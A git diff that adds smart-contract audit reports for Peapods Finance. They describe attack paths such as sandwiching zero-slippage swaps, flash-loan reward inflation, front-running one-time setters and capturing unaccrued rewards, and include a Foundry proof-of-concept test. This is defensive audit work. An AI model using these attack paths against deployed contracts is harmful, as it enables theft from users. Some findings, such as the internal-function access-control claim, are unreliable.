+Add this test in `AutoCompoundingPodLpTest.t.sol`
+
+```solidity
+ function testWithdrawShareCalculationIssue() public {
+ uint256 initialDeposit = 1000 * 1e18;
+ deal(address(mockStakingPoolToken), address(this), initialDeposit);
+ mockStakingPoolToken.approve(address(autoCompoundingPodLp), initialDeposit);
+ autoCompoundingPodLp.deposit(initialDeposit, address(this));
+
+ address[] memory rewardTokens = new address[](2);
+ rewardTokens[0] = address(rewardToken1);
+ rewardTokens[1] = address(rewardToken2);
+ mockTokenRewards.setProcessedRewardTokens(rewardTokens);
+
+ uint256 rewardAmount = 1000 * 1e18;
+ uint256 lpAmountOut = 1000 * 1e18; // 1:1 conversion for clarity
+ mockDexAdapter.setSwapV3SingleReturn(lpAmountOut);
+ deal(autoCompoundingPodLp.pod().PAIRED_LP_TOKEN(), address(autoCompoundingPodLp), lpAmountOut * 3);
+ mockIndexUtils.setAddLPAndStakeReturn(lpAmountOut);
+
+ rewardToken1.mint(address(autoCompoundingPodLp), rewardAmount);
+
+ emit log_named_uint("Initial total assets", autoCompoundingPodLp.totalAssets());
+ emit log_named_uint("Initial total supply", autoCompoundingPodLp.totalSupply());
+
+ uint256 withdrawAmount = 500 * 1e18;
+ uint256 expectedShares = autoCompoundingPodLp.convertToShares(withdrawAmount);
+ emit log_named_uint("Expected shares (pre-rewards)", expectedShares);
+
+ uint256 actualShares = autoCompoundingPodLp.withdraw(withdrawAmount, address(this), address(this));
+
+ emit log_named_uint("Final total assets", autoCompoundingPodLp.totalAssets());
+ emit log_named_uint("Final total supply", autoCompoundingPodLp.totalSupply());
+ emit log_named_uint("Actual shares burned", actualShares);
+
+ assertLt(actualShares, expectedShares, "Share calculation should be affected by reward processing");
+ }
+```
+
+```solidity
+[PASS] testWithdrawShareCalculationIssue() (gas: 1574426)
+Logs:
+ Initial total assets: 1000000000000000000000
+ Initial total supply: 1000000000000000000000
+ Expected shares (pre-rewards): 500000000000000000000
+ Final total assets: 1500000000000000000000
+ Final total supply: 750000000000000000000
+ Actual shares burned: 250000000000000000000
+```
+
+### Mitigation
+
+The most straightforward solution would be to:
+
+* Calculate shares before processing rewards.
\ No newline at end of file
diff --git a/114.md b/114.md
new file mode 100644
index 0000000..451f19a
--- /dev/null
+++ b/114.md
@@ -0,0 +1,69 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Users can prevent reward accrual in order to capture rewards distributed before they have joined
+
+### Summary
+
+Sometimes rewards may not be accrued, which would enable users to claim them even if they have joined the pool after they have been distributed.
+
+### Root Cause
+
+If the pool has high slippage it would revert the bellow `try` inside `_swapForRewards` which would enter us in the catch, which would just store the rewards, allowing the next caller of `depositFromPairedLpToken` or `depositRewards` to accrue them.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/TokenRewards.sol#L300-L318
+```solidity
+ try DEX_ADAPTER.swapV3Single(
+ PAIRED_LP_TOKEN,
+ rewardsToken,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ _amountIn == REWARDS_SWAP_OVERRIDE_MIN
+ ? 0
+ : (_amountOut * (1000 - REWARDS_SWAP_SLIPPAGE)) / 1000,
+ address(this)
+ ) {
+ _rewardsSwapAmountInOverride = 0;
+ if (_adminAmt > 0) {
+ _processAdminFee(_adminAmt);
+ }
+ _depositRewards(rewardsToken, IERC20(rewardsToken).balanceOf(address(this)) - _balBefore);
+ } catch {
+ _rewardsSwapAmountInOverride = _amountIn / 2 < REWARDS_SWAP_OVERRIDE_MIN
+ ? REWARDS_SWAP_OVERRIDE_MIN
+ : _amountIn / 2;
+
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ emit RewardSwapError(_amountIn);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. There are rewards to be processed
+2. The TWAP price to be calculated has a deviation % compared to the current spot price bigger than the slippage (can be purposefully manipulated by Alice by swapping enough to go over the allowed slippage compared to the TWAP price)
+3. Alice stakes and due to the slippage, we go in the catch block where the rewards are stored to be processed for next time, the reward per share is not updated
+4. Alice can now claim her rewards which will update the reward per share based on the rewards that were supposed to be processed last time but weren't due to the slippage revert
+5. Alice got rewards for a period she wasn't staked in which breaks the intended functionality, leads to a profit for Alice and leads to a loss of funds for other stakers
+
+
+### Impact
+
+Users would claim rewards for time that they were not staked in.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+A simple fix would be to make the catch swap with lower slippage protection.
\ No newline at end of file
diff --git a/115.md b/115.md
new file mode 100644
index 0000000..c40366b
--- /dev/null
+++ b/115.md
@@ -0,0 +1,50 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `symbol` is not a part of the standart ERC20 methods and would simtimes revert
+
+### Summary
+
+`DIAOracleV2SinglePriceOracle::getPriceUSD18` would revert on some tokens like MKR which have name and symbol as bytes
+
+### Root Cause
+
+`DIAOracleV2SinglePriceOracle::getPriceUSD18` would revert on some tokens like `MKR` which has name and symbol set as bytes.
+
+The problem here is the bellow code which assumes that standard ERC20 tokens will have name and symbol at all:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/DIAOracleV2SinglePriceOracle.sol#L19
+```solidity
+ string memory _symbol = IERC20Metadata(_quoteToken).symbol();
+```
+
+
+When we call the name and symbol of MKR we will get
+https://etherscan.io/token/0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2#readContract
+`0x4d4b520000000000000000000000000000000000000000000000000000000000` as symbol
+`0x4d616b6572000000000000000000000000000000000000000000000000000000` as name
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+Contract will not work with some tokens.
+
+### Impact
+
+`DIAOracleV2SinglePriceOracle`'s `getPriceUSD18` will not work with some tokens, like MKR. Meaning that `getPrices` will not work with such tokens (as it's uses `getPriceUSD18` down the line ).
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Make sure you add the `.symbol` or `.name` in a `try/catch`
\ No newline at end of file
diff --git a/117.md b/117.md
new file mode 100644
index 0000000..3ef1502
--- /dev/null
+++ b/117.md
@@ -0,0 +1,89 @@
+Acrobatic Violet Poodle
+
+Medium
+
+# Attackers can sandwich first swap whenever `_twoHops` is == true in `Zapper._swapV2()`
+
+### Summary
+
+
+
+In `Zapper._swapV2()`, whenever `_twoHops` is == true Attackers can use bots to sandwich first swap in networks where sandwich attacks are possible. This will cause losses for users as amountOutMin is hardcoded as 0 whenever `_twoHops` is == true.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L211
+### Root Cause
+
+```solidity
+ bool _twoHops = _path.length == 3;
+ if (maxSwap[_path[0]] > 0 && _amountIn > maxSwap[_path[0]]) {
+ _amountOutMin = (_amountOutMin * maxSwap[_path[0]]) / _amountIn;
+ _amountIn = maxSwap[_path[0]];
+ }
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ _amountOut =
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));//@audit-issue frontrunning and backrunning to profit.
+```
+
+In `Zapper._swapV2()`, whenever `_twoHops` is == true Attackers can use bots to sandwich first swap in networks where sandwich attacks are possible. This will cause losses for users as `amountOutMin` is hardcoded as 0 whenever `_twoHops` is == true.
+
+According to what protocol states in the contest readme,
+
+> Please discuss any design choices you made.
+
+> The main consideration for a design choice we made is in a few places we implement unlimited (100%) slippage for dex swaps. Our expectation is wherever we implement this behavior that almost any swap from token0 to token1 will be of small enough value that it would rarely, if ever, be profitable to sandwich for profit by a bot.
+
+
+They hardcoded `amountOutMin` as 0 in places where they thought that the amount being swapped is too small to be profitable for sandwich attacks.
+
+But considering that `Zapper._swapV2()` is used by `IndexUtils.addLPAndStake()` it is very unlikely that the amount being swapped is going to be small to the extent where the sandwich is unprofitable for the bot.
+
+Attackers can use bots to sniff out and sandwich the first swap that will have `amountOutMin` as 0 whenever `_twoHops` is true.
+
+The tx flow is IndexUtils.addLPAndStake() -> Zapper.zap() -> Zapper._swapV2()
+
+### Internal Pre-conditions
+
+` AmountOutMIn` is 0 during swap
+
+### External Pre-conditions
+
+1. _twoHops is true.
+2. amount enough to make the sandwich a profitable one is being swapped.
+3. The tx is happening in a chain where sandwich attacks are possible.
+
+### Attack Path
+
+1. `IndexUtils.addLPAndStake()` is called.
+
+2. in the process of `IndexUtils.addLPAndStake()`, `Zapper._swapV2()` is called
+3. Here in this line `DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));` the swap occurs with amountOutMin as 0 and attacker's bot sniffs it out and frontruns and backruns it profitting from the sandwich attack.
+
+### Impact
+Medium Severity.
+Attackers can sandwich first swap whenever `_twoHops` is == true, this will cause loses to users whenever they use `IndexUtils.addLPAndStake()`
+
+```solidity
+ function _swapV2(address[] memory _path, uint256 _amountIn, uint256 _amountOutMin) internal returns (uint256) {
+ bool _twoHops = _path.length == 3;
+ address _out = _twoHops ? _path[2] : _path[1];
+ uint256 _outBefore = IERC20(_out).balanceOf(address(this));
+ IERC20(_path[0]).safeIncreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ DEX_ADAPTER.swapV2Single(_path[0], _path[1], _amountIn, _twoHops ? 0 : _amountOutMin, address(this));//@audit-issue frontrunning and backrunning this first swap to profit.
+ if (_twoHops) {
+ uint256 _intermediateBal = IERC20(_path[1]).balanceOf(address(this));
+ IERC20(_path[1]).safeIncreaseAllowance(address(DEX_ADAPTER), _intermediateBal);
+ DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, _amountOutMin, address(this));
+ }
+ return IERC20(_out).balanceOf(address(this)) - _outBefore;
+ }
+
+```
+
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use specified `_amountOutMin` even when `_twoHops` is == true
\ No newline at end of file
diff --git a/118.md b/118.md
new file mode 100644
index 0000000..7b98ec3
--- /dev/null
+++ b/118.md
@@ -0,0 +1,62 @@
+Energetic Opaque Elephant
+
+Medium
+
+# Unprotected Internal Function `_internalBond` in `DecentralizedIndex` Contract
+
+### Summary
+
+The [`_internalBond`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/DecentralizedIndex.sol#L256-L262) function in the `DecentralizedIndex` contract lacks proper access control, allowing it to be called by any address. This bypasses the intended access restrictions and could lead to unauthorized manipulation of bond operations, potentially compromising the integrity of the protocol.
+
+### Root Cause
+
+The `_internalBond` function is declared as `internal` but does not have any access control mechanisms (such as a modifier) to restrict its callers. While `internal` functions are not directly callable externally, they can be called by other functions within the same contract or by derived contracts. In this case, the `bond` function in the `WeightedIndex` contract is intended to be the sole caller of `_internalBond`. However, any contract could inherits from `DecentralizedIndex` and call `_internalBond`.
+
+**Why Internal Functions Need Access Control:**
+
+Even though an `internal` function cannot be called directly from outside the contract, it can be called by any contract that inherits from the contract where it's defined. This is the most common and significant risk. A malicious actor could create a contract that inherits from your contract and then call the `internal` function. Additionally, while less common, it's possible that other functions within your contract (or derived contracts) might accidentally or unintentionally call an `internal` function in a way that was not intended. Access control helps prevent these kinds of bugs. Finally, you might decide to change the visibility of a function from `internal` to `public` or `external` in the future. If you haven't implemented access control, this change could inadvertently expose the function to unintended callers. Therefore, it's a general security principle to restrict access to sensitive functionality as much as possible, even if you think it's "internal." Defense in depth is crucial. Assume that any function could be called in an unintended way and protect it accordingly.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+A malicious actor could create a new contract that inherits from `DecentralizedIndex`.
+The malicious contract could then call the `_internalBond` function directly, bypassing the intended validation and logic within the `bond` function of the `WeightedIndex` contract.
+Depending on the logic within `_internalBond`, this could lead to unauthorized bond operations, manipulation of internal state, or other unintended consequences.
+
+### Impact
+
+- **Unauthorized Bond Operations**: Users might be able to trigger bond operations without going through the intended `bond` function's checks and balances, potentially allowing them to mint tokens or access other functionality they shouldn't have.
+- **State Manipulation:** If `_internalBond` updates critical state variables, unauthorized calls could corrupt the contract's data, leading to unpredictable behaviour or financial loss for users.
+- **Circumvention of Fees/Restrictions:** The `bond` function likely handles fee calculations or other restrictions. Direct calls to `_internalBond` could bypass these, allowing users to avoid fees or restrictions.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement a modifier, such as `onlyBond`, in the `DecentralizedIndex` contract to restrict access to the `_internalBond` function. The modifier should check if the direct caller is the `WeightedIndex` contract or any contract that inherits from it.
+
+```solidity
+modifier onlyBond() {
+ address caller = msg.sender;
+ require(caller == address(this) || // Called directly by this contract
+ (caller == address(weightedIndex)) || // Called by WeightedIndex
+ (caller == address(podLarge)), // Called by TestWeightedIndex
+ "Only bond functions can call this.");
+ _;
+}
+
+function _internalBond() internal onlyBond {
+ // ... your _internalBond logic ...
+}
+```
+
+This ensures that only the intended `bond` function (or other allowed functions) can call `_internalBond`, preventing unauthorized access and maintaining the integrity of the bond process. It's crucial to apply this modifier to all internal functions that should only be accessible through specific external functions.
\ No newline at end of file
diff --git a/119.md b/119.md
new file mode 100644
index 0000000..c305ee4
--- /dev/null
+++ b/119.md
@@ -0,0 +1,124 @@
+Fast Khaki Raccoon
+
+Medium
+
+# `_calculateBasePerPTkn` includes debond fee twice, lowering the price too much
+
+### Summary
+
+`_calculateBasePerPTkn` includes the debonding fee twice, once in `_accountForCBRInPrice` and another time in `_accountForUnwrapFeeInPrice`, which would lower the price even further, allowing liquidators to liquidate users that should be above water.
+
+```solidity
+ function _calculateBasePerPTkn(uint256 _price18) internal view returns (uint256 _basePerPTkn18) {
+ // ...
+
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18); // DEBOND_FEE included here
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18); // and also here
+ }
+```
+
+### Root Cause
+
+1. Inside `_calculateBasePerPTkn` we first `_accountForCBRInPrice`, then include de-bond fee using `_accountForUnwrapFeeInPrice` as liquidators will still need to debond, which would pact their margin and thus the price at which liquidations are profitable
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L170-L186
+```solidity
+ _basePerPTkn18 = _accountForCBRInPrice(pod, underlyingTkn, _price18);
+ _basePerPTkn18 = _accountForUnwrapFeeInPrice(pod, _basePerPTkn18);
+```
+
+2. When we look into `_accountForUnwrapFeeInPrice` we can see that it simply removes the debond fee from the price:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L246-L253
+```solidity
+ function _accountForUnwrapFeeInPrice(address _pod, uint256 _currentPrice)
+ internal
+ view
+ returns (uint256 _newPrice)
+ {
+ uint16 _unwrapFee = IDecentralizedIndex(_pod).DEBOND_FEE();
+ _newPrice = _currentPrice - (_currentPrice * _unwrapFee) / 10000;
+ }
+```
+
+3. Going back to`_calculateBasePerPTkn` we further look into how `_accountForCBRInPrice` would get the pod and use `convertToAssets` to convert a standard unit of shares to an asset
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/spTKNMinimalOracle.sol#L231-L244
+```solidity
+ function _accountForCBRInPrice(address _pod, address _underlying, uint256 _amtUnderlying)
+ internal
+ view
+ returns (uint256)
+ {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+
+ if (_underlying == address(0)) {
+ IDecentralizedIndex.IndexAssetInfo[] memory _assets = IDecentralizedIndex(_pod).getAllAssets();
+ _underlying = _assets[0].token;
+ }
+
+ uint256 _pTknAmt =
+ (_amtUnderlying * 10 ** IERC20Metadata(_pod).decimals()) / 10 ** IERC20Metadata(_underlying).decimals();
+
+ return IDecentralizedIndex(_pod).convertToAssets(_pTknAmt);
+ }
+```
+
+4. But in`convertToAssets` we can see that at it's end after doing all of the conversions it also losers the asset amount by `_fees.debond`, meaning it actually accounts for it
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/WeightedIndex.sol#L120-L129
+```solidity
+ function convertToAssets(uint256 _shares) external view override returns (uint256 _assets) {
+ // _totalSupply == 0
+ bool _firstIn = _isFirstIn();
+
+ uint256 _percSharesX96_2 = _firstIn
+ ? 2 ** (96 / 2)
+ : (_shares * 2 ** (96 / 2)) / _totalSupply;
+
+ if (_firstIn) {
+ _assets = (indexTokens[0].q1 * _percSharesX96_2) / FixedPoint96.Q96 / 2 ** (96 / 2);
+ } else {
+ _assets = (_totalAssets[indexTokens[0].token] * _percSharesX96_2) / 2 ** (96 / 2);
+ }
+
+ _assets -= ((_assets * _fees.debond) / DEN);
+ }
+```
+
+
+**This means that the inside `_calculateBasePerPTkn` we include the debonding fee twice, once in `_accountForCBRInPrice` and another time in `_accountForUnwrapFeeInPrice`**
+
+
+Note that the same is also done inside `_checkAndHandleBaseTokenPodConfig`:
+
+```solidity
+ function _checkAndHandleBaseTokenPodConfig(uint256 _currentPrice18) internal view returns (uint256 _finalPrice18) {
+ _finalPrice18 = _accountForCBRInPrice(BASE_TOKEN, address(0), _currentPrice18);
+ _finalPrice18 = _accountForUnwrapFeeInPrice(BASE_TOKEN, _finalPrice18);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+The price mechanism will not work correctly allowing liquidators to liquidate users earlier, even when they are above the collateralization threshold.
+
+### Impact
+
+Debonding fee would be included twice inside the price calculation, meaning that a lower price is given over all.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+There is no need for the second function as `_accountForCBRInPrice` already calculates the debonding fee when calling `convertToAssets`.
\ No newline at end of file
diff --git a/120.md b/120.md
new file mode 100644
index 0000000..db8b7e9
--- /dev/null
+++ b/120.md
@@ -0,0 +1,44 @@
+Bitter Honey Lion
+
+High
+
+# Flash Loan Vulnerability
+
+Vulnerability Existence
+The code contains risks of flash loan attacks, primarily centered around the reward distribution logic in the _processRewardsToPodLp function. This function calculates the reward amount available for conversion based on the real-time account balance, but fails to protect the following critical aspects:
+
+Balance Snapshot Attack:
+Within the loop of the _processRewardsToPodLp() function:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+
+uint256 _bal = IERC20(_token).balanceOf(address(this)) - (...);
+Directly reads the current balance without time weighting or snapshot freezing, allowing attackers to temporarily manipulate the balance within a single transaction through flash loans.
+
+Missing Slippage Control:
+
+When _twoHops=true, in the second hop transaction (_path[1]->path[2]) of _swapV2(), the _amountOutMin parameter is not enforced, allowing zero slippage protection:
+
+DEX_ADAPTER.swapV2Single(_path[1], _path[2], _intermediateBal, 0, address(this)); // the last parameter is _amountOutMin
+Attack Path Simulation
+An attacker can execute a flash loan attack through the following steps:
+
+Borrow a large amount of _asset() tokens through a flash loan
+Call deposit() -> triggers _processRewardsToPodLp() reward distribution
+Utilize the temporarily high balance caused by the flash loan to accelerate reward calculation
+Arbitrage through the transaction path without slippage protection during the reward conversion process
+Repay the flash loan and retain the inflated rewards
+Fix Recommendations
+Introduce a balance snapshot mechanism:
+
+
+// Record initial balance before reward processing
+uint256 initialBal = IERC20(_token).balanceOf(address(this));
+uint256 _bal = initialBal - (...);
+(Referencing the balance differential verification mode in DODO Margin Trading)
+
+Enforce minimum slippage control:
+Add hard slippage parameter verification in all transaction paths of _swapV2():
+
+
+require(_amountOut >= _amountOutMin, "Slippage limit exceeded");
\ No newline at end of file
diff --git a/121.md b/121.md
new file mode 100644
index 0000000..6df316e
--- /dev/null
+++ b/121.md
@@ -0,0 +1,87 @@
+Loud Snowy Marmot
+
+High
+
+# L0ckin7 - Potential Front-Running in `setPoolRewards` and `setStakingToken`
+
+L0ckin7
+High
+
+
+### Summary
+
+The `setPoolRewards` and `setStakingToken` functions are designed to set critical addresses (`POOL_REWARDS` and `stakingToken`) in the contract. These functions can only be called once, as they include a check to ensure the address is not already set.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/StakingPoolToken.sol#L83
+
+```solidity
+require(POOL_REWARDS == address(0), "I"); // In setPoolRewards
+require(stakingToken == address(0), "S"); // In setStakingToken
+```
+However, these functions are vulnerable to front-running attacks.
+
+### Impact
+
+This can lead to loss of funds or control over the staking pool.
+
+### Attack Path
+
+An attacker could monitor the blockchain for transactions calling these functions and submit their own transaction with a higher gas price to replace the intended address with their own.
+This could lead to `POOL_REWARDS` or `stakingToken` address being set to a malicious contract.
+
+ ### Recommendations
+
+Propose Step:
+
+The owner proposes a new address for `POOL_REWARDS` or `stakingToken` using `proposePoolRewards` or `proposeStakingToken`.
+The proposed address is stored in `proposedPoolRewards` or `proposedStakingToken`.
+
+Confirm Step:
+
+The owner confirms the proposed address using `confirmPoolRewards` or `confirmStakingToken`.
+The proposed address is set as the actual `POOL_REWARDS` or `stakingToken`, and the proposed address is reset to `address(0)`.
+
+Events are emitted at each step to track the proposal and confirmation process.
+
+```solidity
+// Add proposed addresses for two-step setting
+address public proposedPoolRewards;
+address public proposedStakingToken;
+
+// Events for tracking proposals and confirmations
+event PoolRewardsProposed(address indexed proposedRewards);
+event PoolRewardsConfirmed(address indexed confirmedRewards);
+event StakingTokenProposed(address indexed proposedToken);
+event StakingTokenConfirmed(address indexed confirmedToken);
+
+// Two-step process for setting POOL_REWARDS
+function proposePoolRewards(address _rewards) external onlyOwner {
+ require(POOL_REWARDS == address(0), "Already set");
+ proposedPoolRewards = _rewards;
+ emit PoolRewardsProposed(_rewards);
+}
+
+function confirmPoolRewards() external onlyOwner {
+ require(proposedPoolRewards != address(0), "No proposal");
+ POOL_REWARDS = proposedPoolRewards;
+ proposedPoolRewards = address(0); // Reset the proposed address
+ emit PoolRewardsConfirmed(POOL_REWARDS);
+}
+
+// Two-step process for setting stakingToken
+function proposeStakingToken(address _stakingToken) external onlyOwner {
+ require(stakingToken == address(0), "Already set");
+ proposedStakingToken = _stakingToken;
+ emit StakingTokenProposed(_stakingToken);
+}
+
+function confirmStakingToken() external onlyOwner {
+ require(proposedStakingToken != address(0), "No proposal");
+ stakingToken = proposedStakingToken;
+ proposedStakingToken = address(0); // Reset the proposed address
+ emit StakingTokenConfirmed(stakingToken);
+}
+```
+
+
+
diff --git a/122.md b/122.md
new file mode 100644
index 0000000..a3d03e7
--- /dev/null
+++ b/122.md
@@ -0,0 +1,65 @@
+Fast Khaki Raccoon
+
+High
+
+# User will have tokens stuck closing a leverage position due to an unconsidered case
+
+### Summary
+
+User will have tokens stuck closing a leverage position due to an unconsidered case
+
+### Root Cause
+
+Upon removing leverage, we have the following line:
+```solidity
+_borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+```
+This is how the remaining borrow tokens are calculated and are then refunded to the position owner. The issue is that the assumption of a 0 token refund when `_pairedAmtReceived` is <= `_repayAmount` is incorrect and will cause stuck funds in a certain case when the user overrides the target borrow tokens needed to reach the repayment amount.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. We go through most of the flow of removing leverage and we reach this piece of code:
+```solidity
+ if (_pairedAmtReceived < _repayAmount) {
+ _podAmtRemaining = _acquireBorrowTokenForRepayment(_props, _posProps.pod, _d.token, _repayAmount - _pairedAmtReceived, _podAmtReceived, _podSwapAmtOutMin, _userProvidedDebtAmtMax);
+}
+```
+2. This is a scenario where the borrowed token received (assuming the most simple and typical scenario where the borrowed/flashloaned token is the paired token) are less than the amount we have to repay, we all `_acquireBorrowTokenForRepayment()` with the borrow tokens needed equal to `_repayAmount - _pairedAmtReceived` which is essentially the tokens we need to receive to reach `_repayAmount`, __VERY IMPORTANT to note__ that users can provide `_podSwapAmtOutMin` which is the borrow tokens they want to receive for the swap
+3. Upon calling the function mentioned above, we assume that the user hasn't provided any borrow tokens on his own and since we are in a normal pod scenario as mentioned in step 2, we just go to this code:
+```solidity
+_podAmtRemaining = _swapPodForBorrowToken(_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin);
+```
+4. We want to swap from `_pod` to the `_borrowToken`, swap at most `_podAmtReceived`, we need `_borrowAmtNeededToSwap` to reach the repayment amount and as noted in step 2, the user has provided `_podSwapAmtOutMin` which is the borrow tokens he wants to receive
+5. There, we have the following swap:
+```solidity
+IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
+ _dexAdapter.swapV2SingleExactOut(_pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this));
+```
+6. If the user has provided `_podSwapAmtOutMin`, we override the actually needed borrow tokens for the repayment, the user provides his own which can be more than the target, let's assume we need 100 tokens but the user wants to swap more pod tokens and instead wants to receive 120 borrow tokens
+7. The swap goes through, the pod tokens are swapped and we receive 120 tokens in return which is 20 more tokens that the amount needed for the repayment, this means that due to the code below, we will refund the user 0 tokens even though he is supposed to get 20 tokens as he got 20 more than the required repayment during the swap:
+```solidity
+_borrowAmtRemaining = _pairedAmtReceived > _repayAmount ? _pairedAmtReceived - _repayAmount : 0;
+```
+8. This is a direct loss of funds of 20 tokens for the user as he is refunded nothing
+
+### Impact
+
+Direct loss of funds for the user, the tokens will be stuck.
+
+NOTE: There is a function to rescue tokens but due to the arbitrary inputs in the function for adding leverage, they can be stolen. The arbitrary inputs do not usually allow an exploit as there should be no tokens in the contract, however due to the bug here, a malicious actor can steal them before they are rescued, causing a non-recoverable loss of funds for the user, hence the __HIGH__ severity.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Factor in the scenario where the swap yields more tokens than required
\ No newline at end of file
diff --git a/123.md b/123.md
new file mode 100644
index 0000000..87d427c
--- /dev/null
+++ b/123.md
@@ -0,0 +1,75 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Removing leverage will often revert due to calling an incorrect function
+
+### Summary
+
+Removing leverage will often revert due to calling an incorrect function
+
+### Root Cause
+
+Upon removing leverage, we have the following 2 functions being called:
+```solidity
+IFraxlendPair(_lendingPair).addInterest(false);
+bytes memory _additionalInfo = abi.encode(IFraxlendPair(_lendingPair).totalBorrow().toShares(_borrowAssetAmt, false), ..............)
+```
+There are 2 issues which cause the issue. Firstly, `addInterest()` has the following case:
+```solidity
+if (_currentUtilizationRate != 0 && _rateChange < (_currentUtilizationRate * minURChangeForExternalAddInterest) / UTIL_PREC) {
+ emit SkipAddingInterest(_rateChange);
+ } else {
+ ...
+ }
+```
+There is an optimization scenario which skips the interest accrual when there hasn't been a utilization ratio change of at least `minURChangeForExternalAddInterest`. Then, the other function called simply returns this calculation:
+```solidity
+shares = (amount * total.shares) / total.amount;
+ if (roundUp && (shares * total.amount) / total.shares < amount) {
+ shares = shares + 1;
+ }
+```
+These 2 things combined cause an issue. The first function can skip the interest accrual and the second function does not preview the interest accrual as it uses cached values. This means that the `_borrowAssetAmt` used for the share conversion will result in a wrong amount of shares as the interest is not factored in (when `addInterest()` skips interest). Then, upon the repayment, we use the following code:
+```solidity
+IFraxlendPair(_posProps.lendingPair).repayAsset(_borrowSharesToRepay, _posProps.custodian);
+```
+The function is called with the shares which supposedly convert to the provided borrow amount. However, this is not the case due to the reason mentioned above, the shares will equal a higher borrow amount due to the interest accrual which __never__ gets skipped upon `repayAsset()` (the internal `_addInterest()` call always adds interest if there's any unlike the `addInterest()`):
+```solidity
+function repayAsset(uint256 _shares, address _borrower) external nonReentrant returns (uint256 _amountToRepay) {
+ ...
+
+ // Accrue interest if necessary
+ _addInterest();
+
+ ...
+ }
+```
+This will result in a revert as we only approved the provided borrow amount which is less than the one with accrued interest:
+```solidity
+IERC20(_borrowTkn).safeIncreaseAllowance(_lendingPair, _borrowAssetAmt);
+```
+
+### Internal Pre-conditions
+
+1. The UR change is not enough so interest is skipped when calling `addInterest()`
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path necessary, the `Root Cause` section explains it in great detail
+
+### Impact
+
+Removing leverage will cause a revert in a lot of cases, basically in every case where there is interest to accrue and the UR change is not big enough which is __very__ often.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use `toAssetShares()` instead with a preview interest boolean of true. In that case, the `addInterest()` is unnecessary (if not mistaken).
\ No newline at end of file
diff --git a/124.md b/124.md
new file mode 100644
index 0000000..18971eb
--- /dev/null
+++ b/124.md
@@ -0,0 +1,47 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Using `addLeverageFromTkn` is impossible in a certain case
+
+### Summary
+
+Using `addLeverageFromTkn` is impossible when the token in a pod is USDT.
+
+NOTE that USDT as a token in a pod is completely possible and __expected__. According to the docs:
+>Peapods provides users with the tools required to farm volatility and earn yield on any liquid asset. With Peapods, users can wrap any one or more liquid assets into a single ERC-20 token.
+
+As seen, users are expected to create pods for __ANY__ liquid asset which USDT clearly is one of.
+
+### Root Cause
+
+Upon using `addLeverageFromTkn` to convert a token to a pod, we have this code:
+```solidity
+_tkn.approve(_pod, _tkn.balanceOf(address(this)) - _tknBalBefore);
+IDecentralizedIndex(_pod).bond(address(_tkn), _tkn.balanceOf(address(this)) - _tknBalBefore, _amtPtknMintMin);
+```
+The issue is the `.approve()` on tokens such as USDT as USDT does not return a boolean which the IERC20 interface expects. This will cause the function to always revert.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path needed, using the mentioned function will always revert for USDT.
+
+### Impact
+
+Broken functionality
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use `SafeERC20`
\ No newline at end of file
diff --git a/125.md b/125.md
new file mode 100644
index 0000000..2637ddb
--- /dev/null
